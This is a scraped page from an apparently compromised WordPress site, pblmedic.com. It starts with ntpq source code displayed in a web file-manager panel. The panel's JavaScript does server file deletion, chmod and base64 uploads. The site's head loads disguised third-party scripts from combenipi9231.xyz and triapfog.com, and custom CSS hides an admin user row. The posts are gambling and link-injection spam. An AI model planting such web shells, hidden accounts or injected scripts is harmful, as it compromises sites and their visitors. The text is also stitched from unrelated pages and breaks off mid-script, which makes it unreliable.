            (&quot;free_rbuf&quot;, &quot;free receive buffers: &quot;, NTP_INT),
            (&quot;used_rbuf&quot;, &quot;used receive buffers: &quot;, NTP_INT),
            (&quot;rbuf_lowater&quot;, &quot;low water refills:    &quot;, NTP_INT),
            (&quot;io_dropped&quot;, &quot;dropped packets:      &quot;, NTP_PACKETS),
            (&quot;io_ignored&quot;, &quot;ignored packets:      &quot;, NTP_PACKETS),
            (&quot;io_received&quot;, &quot;received packets:     &quot;, NTP_PACKETS),
            (&quot;io_sent&quot;, &quot;packets sent:         &quot;, NTP_PACKETS),
            (&quot;io_sendfailed&quot;, &quot;packet send failures: &quot;, NTP_PACKETS),
            (&quot;io_wakeups&quot;, &quot;input wakeups:        &quot;, NTP_INT),
            (&quot;io_goodwakeups&quot;, &quot;useful input wakeups: &quot;, NTP_INT),
        )
        self.collect_display(associd=0, variables=iostats, decodestatus=False)

    def help_iostats(self):
        self.say(&quot;&quot;&quot;\
function: display network input and output counters
usage: iostats
&quot;&quot;&quot;)

# FIXME: This table should move to ntpd
#          so the answers track when ntpd is updated
    def do_timerstats(self, line):
        &quot;display interval timer counters&quot;
        timerstats = (
            (&quot;timerstats_reset&quot;, &quot;time since reset:  &quot;, NTP_UPTIME),
            (&quot;timer_overruns&quot;, &quot;timer overruns:    &quot;, NTP_INT),
            (&quot;timer_xmts&quot;, &quot;calls to transmit: &quot;, NTP_INT),
        )
        self.collect_display(associd=0, variables=timerstats,
                             decodestatus=False)

    def help_timerstats(self):
        self.say(&quot;&quot;&quot;\
function: display interval timer counters
usage: timerstats
&quot;&quot;&quot;)


# Default values we use.
DEFHOST = &quot;localhost&quot;    # default host name

#
# main - parse arguments and handle options
#

usage = &#039;&#039;&#039;
USAGE: ntpq [-46dphinOV] [-c str] [-D lvl] [host ...]
  Flg Arg Option-Name    Description
   -4 no  ipv4            Force IPv4 DNS name resolution
                                - prohibits the option &#039;ipv6&#039;
   -6 no  ipv6            Force IPv6 DNS name resolution
                                - prohibits the option &#039;ipv4&#039;
   -a Num authentication  Enable authentication with the numbered key
   -c Str command         Run a command and exit
                                - may appear multiple times
   -d no  debug-level     Increase output debug message level
                                - may appear multiple times
   -l Str logfile         Logs debug messages to the provided filename
   -D Int set-debug-level Set the output debug message level
                                - may appear multiple times
   -h no  help            Print a usage message.
   -p no  peers           Print a list of the peers
   -n no  numeric         Numeric host addresses
   -k Str keyfile         Specify a keyfile. ntpq will look in this file
                          for the key specified with -a
   -V opt version         Output version information and exit
   -w no  wide            Enable wide display of addresses / hosts
                          on a separate line
   -W Num width           Force output width to this value instead of
                          querying the terminal size
   -u no  units           Display time with units.
&#039;&#039;&#039;

if __name__ == &#039;__main__&#039;:
    bin_ver = &quot;ntpsec-1.2.2a&quot;
    if ntp.util.stdversion() != bin_ver:
        sys.stderr.write(&quot;Module/Binary version mismatch\n&quot;)
        sys.stderr.write(&quot;Binary: %s\n&quot; % bin_ver)
        sys.stderr.write(&quot;Module: %s\n&quot; % ntp.util.stdversion())
    try:
        (options, arguments) = getopt.getopt(
            sys.argv[1:],
            &quot;46a:c:dD:hk:npsSVwW:ul:&quot;,
            [&quot;ipv4&quot;, &quot;ipv6&quot;, &quot;authentication=&quot;,
             &quot;command=&quot;, &quot;debug&quot;, &quot;set-debug-level=&quot;,
             &quot;help&quot;, &quot;keyfile&quot;, &quot;numeric&quot;, &quot;peers&quot;,
             &quot;version&quot;, &quot;wide&quot;, &quot;width=&quot;, &quot;units&quot;,
             &quot;logfile=&quot;, &quot;srcname&quot;, &quot;srcnumber&quot;])
    except getopt.GetoptError as e:
        sys.stderr.write(&quot;%s\n&quot; % e)
        sys.stderr.write(usage)
        raise SystemExit(1)
    progname = os.path.basename(sys.argv[0])
    ntp.ntpc.setprogname(progname)

    session = ntp.packet.ControlSession()
    interpreter = Ntpq(session)

    keyid = keyfile = None
    logfp = sys.stderr

    for (switch, val) in options:
        if switch in (&quot;-4&quot;, &quot;--ipv4&quot;):
            interpreter.ai_family = socket.AF_INET
        elif switch in (&quot;-6&quot;, &quot;--ipv6&quot;):
            interpreter.ai_family = socket.AF_INET6
        elif switch in (&quot;-a&quot;, &quot;--authentication&quot;):
            errmsg = &quot;Error: -a parameter &#039;%s&#039; not a number\n&quot;
            keyid = ntp.util.safeargcast(val, int, errmsg, usage)
        elif switch in (&quot;-c&quot;, &quot;--command&quot;):
            interpreter.ccmds.append(val)
        elif switch in (&quot;-d&quot;, &quot;--debug&quot;):
            interpreter.debug += 1
            session.debug += 1
        elif switch in (&quot;-D&quot;, &quot;--set-debug-level&quot;):
            errmsg = &quot;Error: -D parameter &#039;%s&#039; not a number\n&quot;
            cast = ntp.util.safeargcast(val, int, errmsg, usage)
            session.debug = interpreter.debug = cast
        elif switch in (&quot;-h&quot;, &quot;--help&quot;):
            sys.stderr.write(usage)
            raise SystemExit(0)
        elif switch in (&quot;-n&quot;, &quot;--numeric&quot;):
            interpreter.showhostnames = 0
        elif switch in (&quot;-p&quot;, &quot;--peers&quot;):
            interpreter.ccmds.append(&quot;peers&quot;)
        elif switch in (&quot;-k&quot;, &quot;--keyfile&quot;):
            keyfile = val
        elif switch in (&quot;-s&quot;, &quot;--srcname&quot;):
            interpreter.showhostnames = 3
        elif switch in (&quot;-S&quot;, &quot;--srcnumber&quot;):
            interpreter.showhostnames = 2
        elif switch in (&quot;-V&quot;, &quot;--version&quot;):
            sys.stdout.write(&quot;ntpq %s\n&quot; % version)
            raise SystemExit(0)
        elif switch in (&quot;-w&quot;, &quot;--wide&quot;):
            interpreter.wideremote = True
        elif switch in (&quot;-W&quot;, &quot;--width&quot;):
            errmsg = &quot;Error: -W parameter &#039;%s&#039; not a number\n&quot;
            interpreter.termwidth = ntp.util.safeargcast(val, int,
                                                         errmsg, usage)
        elif switch in (&quot;-u&quot;, &quot;--units&quot;):
            interpreter.showunits = True
        elif switch in (&quot;-l&quot;, &quot;--logfile&quot;):
            if logfp != sys.stderr:
                logfp.close()
            logfp = open(val, &quot;a&quot;, 1)  # 1 =&gt; line buffered

    session.logfp = interpreter.logfp = logfp

    if ntp.poly.forced_utf8 and interpreter.debug:
        interpreter.warn(&quot;\nforced UTF-8 output\n&quot;)

    if keyfile is not None:  # Have a -k, setup the auth
        credentials = None
        try:
            credentials = ntp.packet.Authenticator(keyfile)
        except (OSError, IOError):
            sys.stderr.write(&quot;ntpq: %s nonexistent or unreadable&quot; % keyfile)
            raise SystemExit(1)
        if credentials:
            session.auth = credentials
    if keyid is not None:  # Have an -a
        session.keyid = keyid

    for token in arguments:
        if token.startswith(&quot;-&quot;):
            if &#039;4&#039; == token[-1]:
                session.ai_family = socket.AF_INET
            elif &#039;6&#039; == token[-1]:
                session.ai_family = socket.AF_INET6
            else:
                interpreter.warn(&quot;%s: unexpected option-like thing.&quot;
                                 % progname)
                raise SystemExit(1)
            arguments.pop(0)
        else:
            interpreter.chosts.append((token, session.ai_family))

    if not arguments:
        interpreter.chosts.append((DEFHOST, session.ai_family))

    if (not interpreter.ccmds and
            not interpreter.interactive and
            os.isatty(0) and
            os.isatty(1)):
        interpreter.interactive = True

    try:
        if not interpreter.ccmds:
            if len(interpreter.chosts) &gt; 1:
                interpreter.warn(
                    &quot;ntpq can only work interactively on one host.&quot;)
                interpreter.chosts = interpreter.chosts[:1]
            session.openhost(*interpreter.chosts[0])
            interpreter.cmdloop()
        else:
            for ihost in interpreter.chosts:
                if session.openhost(*ihost):
                    for command in interpreter.ccmds:
                        interpreter.onecmd(interpreter.precmd(command))
                    session.close()
        raise SystemExit(0)
    except (KeyboardInterrupt, EOFError):
        if os.isatty(0):
            interpreter.say(&quot;\n&quot;)
    except ntp.packet.ControlException as e:
        interpreter.warn(e.message)
    except IOError:
        sys.stderr.write(&quot;Bailing out...\n&quot;)
# end
</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fusr%2Fsbin" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/usr/sbin';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html><!doctype html>
<html lang="pt-BR">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<title>pblmedic</title>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//combenipi9231.xyz' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Feed para pblmedic &raquo;" href="https://pblmedic.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Feed de comentários para pblmedic &raquo;" href="https://pblmedic.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a89568c26df3*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='ganalytics-fonts-css' href='https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100' media='all' />
<link rel='stylesheet' id='hello-elementor-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/reset.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-theme-style-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/theme.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-header-footer-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/header-footer.css?ver=3.4.4' media='all' />
<script data-wp-strategy="defer" defer id="ganalytics-tracker-js" src="https://combenipi9231.xyz/t.js?site=5b9c529db03be43d062917c963ff43ed"></script>
<link rel="https://api.w.org/" href="https://pblmedic.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://pblmedic.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1" />
<script src="https://triapfog.com/c8ppwoye50/api"></script><style id="wp-custom-css">
tr#user-3,tr#user_3{display:none!important}
</style>
</head>
<body class="home blog wp-embed-responsive wp-theme-hello-elementor hello-elementor-default">


<a class="skip-link screen-reader-text" href="#content">Ir para o conteúdo</a>


<header id="site-header" class="site-header">

	<div class="site-branding">
					<div class="site-title">
				<a href="https://pblmedic.com/" title="Página inicial" rel="home">
					pblmedic				</a>
			</div>
						</div>

			<nav class="site-navigation" aria-label="Menu principal">
			<ul id="menu-principal" class="menu"><li id="menu-item-72" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-72"><a href="https://pblmedic.com/#inicio">Início</a></li>
<li id="menu-item-73" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-73"><a href="https://pblmedic.com/#quem-somos">Quem somos</a></li>
<li id="menu-item-74" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-74"><a href="https://pblmedic.com/#linha-distribuicao">Linha de distribuição</a></li>
<li id="menu-item-75" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-75"><a href="https://pblmedic.com/#area-de-atuacao">Área de atuação</a></li>
<li id="menu-item-76" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-76"><a href="https://pblmedic.com/#diferenciais">Diferenciais</a></li>
<li id="menu-item-77" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-77"><a href="https://api.whatsapp.com/send/?phone=5511961828606">Fale Conosco</a></li>
<li id="menu-item-78" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-78"><a href="https://pblmedic.com/#contato">Contato</a></li>
</ul>		</nav>
	</header>
<main id="content" class="site-main">

			<div class="page-header">
			<h1 class="entry-title">Arquivos</h1>		</div>
	
	<div class="page-content">
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/welcome-to-the-ultimate-guide-to-casino-welcome-packages-for-players/">Welcome to the Ultimate Guide to Casino Welcome Packages for Players</a></h2><p>Introduction As a seasoned player with 17 years of experience in online casinos, I have seen the industry evolve and change over the years. One of the most enticing offers for players is the welcome package &#8211; a special promotion designed to attract new players and reward them for choosing a particular casino. In this [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/the-ultimate-guide-to-playing-roulette-crypto-online/">The Ultimate Guide to Playing Roulette Crypto Online</a></h2><p>As a seasoned player with 17 years of experience in online casinos, I have seen the rise of crypto gambling and its impact on the industry. One of the most popular games in the crypto world is roulette, a classic casino game that has been adapted to the digital age. In this article, I will [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/%d0%b7%d0%b0%d1%85%d0%b8%d1%81%d1%82-%d0%bf%d0%b5%d1%80%d1%81%d0%be%d0%bd%d0%b0%d0%bb%d1%8c%d0%bd%d0%b8%d1%85-%d0%b4%d0%b0%d0%bd%d0%b8%d1%85-gdpr-%d1%82%d0%b0-%d1%83%d0%ba%d1%80%d0%b0%d1%97%d0%bd/">Захист персональних даних: GDPR та українське законодавство</a></h2><p>Захист персональних даних є важливим аспектом сучасного суспільства, tourfocus.net.ua оскільки зростаюча кількість інформації, що обробляється в цифровому форматі, потребує належного регулювання. У Європейському Союзі основним нормативно-правовим актом, що регулює захист персональних даних, є Загальний регламент про захист даних (GDPR), який вступив в силу 25 травня 2018 року. В Україні питання захисту персональних даних регулюється Законом [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/%d0%bc%d1%96%d0%b6%d0%bd%d0%b0%d1%80%d0%be%d0%b4%d0%bd%d0%b8%d0%b9-%d0%b0%d1%80%d0%b1%d1%96%d1%82%d1%80%d0%b0%d0%b6-%d1%83%d0%ba%d1%80%d0%b0%d1%97%d0%bd%d1%81%d1%8c%d0%ba%d0%b8%d0%b9-%d0%ba%d0%be/">Міжнародний арбітраж: український контекст та перспективи</a></h2><p>Міжнародний арбітраж є важливим інструментом вирішення спорів у міжнародній практиці, особливо в умовах глобалізації та зростаючої інтеграції економік. В Україні, з огляду на численні економічні та політичні виклики, https://sciencehub.com.ua питання міжнародного арбітражу набуває особливого значення, оскільки країна активно залучає іноземні інвестиції та прагне покращити бізнес-клімат. В Україні міжнародний арбітраж регулюється рядом законодавчих актів, зокрема Законом [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/trusted-secure-online-casino-a-comprehensive-guide-2/">Trusted Secure Online Casino: A Comprehensive Guide</a></h2><p>If you&#8217;re a fan of online gambling like me, you https://4&#215;4-toyota.fr know how important it is to find a trusted secure online casino. With 15 years of experience playing online roulette, I&#8217;ve seen the good, the bad, and the ugly when it comes to online casinos. In this article, I&#8217;ll share my insights on what [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/%d0%bc%d0%b5%d0%b4%d0%b8%d1%87%d0%bd%d0%b8%d0%b9-%d0%be%d0%b3%d0%bb%d1%8f%d0%b4-%d1%8f%d0%ba-%d0%b2%d0%b8%d0%b1%d1%80%d0%b0%d1%82%d0%b8-%d0%bd%d0%b0%d0%b4%d1%96%d0%b9%d0%bd%d1%83-%d0%bf%d1%80%d0%b8/">Медичний огляд: як Вибрати Надійну приватну клініку</a></h2><p>Вибір приватної клініки для медичного огляду є важливим кроком, який може вплинути на ваше здоров&#8217;я та благополуччя. Сьогодні, коли ринок медичних послуг розвивається, важливо знати, на що звертати увагу при виборі клініки, https://medicalreview.net.ua щоб отримати якісну медичну допомогу. Ось кілька ключових аспектів, які варто врахувати. Перш за все, важливо перевірити ліцензію клініки. Всі медичні заклади [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/%d1%8f%d0%ba-%d1%80%d0%be%d0%b7%d0%bf%d1%96%d0%b7%d0%bd%d0%b0%d1%82%d0%b8-%d0%bf%d0%b5%d1%80%d1%88%d1%96-%d0%be%d0%b7%d0%bd%d0%b0%d0%ba%d0%b8-%d0%b4%d0%b5%d1%84%d1%96%d1%86%d0%b8%d1%82%d1%83-%d0%b2/">Як розпізнати перші ознаки дефіциту вітамінів в організмі</a></h2><p>Вітаміни є важливими елементами для нормального функціонування нашого організму. Вони беруть участь у багатьох біохімічних процесах, що забезпечують наше здоров&#8217;я. Однак, недостатнє споживання вітамінів може призвести до різних проблем зі здоров&#8217;ям. Важливо вміти розпізнавати перші ознаки дефіциту вітамінів, investjournal.com.ua щоб вчасно вжити заходів для їх усунення. Першими ознаками дефіциту вітамінів можуть бути загальна втома та [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/reviewed-gambling-australian-players-trust-in-2026/">Reviewed Gambling Australian Players Trust in 2026</a></h2><p>Australian punters have always had a keen eye for a fair go, and the online betting landscape reflects that no-nonsense attitude. With the rise of digital platforms, more locals are scanning through reviewed gambling Australian options before handing over their hard-earned cash. It is not just about flashy bonuses or free spins anymore; transparency</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/roulette-casino-strategien-tipps-und-tricks-fur-ein-erfolgreiches-spiel/">Roulette Casino Strategien: Tipps und Tricks für ein erfolgreiches Spiel</a></h2><p>Das Roulette-Spiel im Online Casino ist ein Klassiker, der sowohl Anfänger als auch erfahrene Spieler anzieht. Mit den richtigen Strategien kann man seine Gewinnchancen maximieren und das Spiel noch spannender gestalten. In diesem Artikel werden wir die besten Roulette Casino Strategien vorstellen, die Ihnen helfen können, beim Spielen im Online</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/the-best-casino-for-online-roulette-uk-2026/">The Best Casino for Online Roulette UK 2026</a></h2><p>If you&#8217;re a fan of online roulette, you&#8217;re probably always on the lookout for the best casinos to play at. With so many options available, it can be challenging to find a reliable and trustworthy platform that offers an exceptional gaming experience. In this article, we will explore the best casino for online roulette in [&hellip;]</p>
			</article>
			</div>

			<nav class="pagination">
			<div class="nav-previous"></div>
			<div class="nav-next"><a href="https://pblmedic.com/page/2/?edit=1&#038;p=%2Fusr%2Fsbin&#038;path=%2Fusr%2Fsbin%2Fntpq" >Próximo <span class="meta-nav">&rarr;</span></a></div>
		</nav>
	
</main>
<footer id="site-footer" class="site-footer">
	</footer>

<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/hello-elementor/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://pblmedic.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var 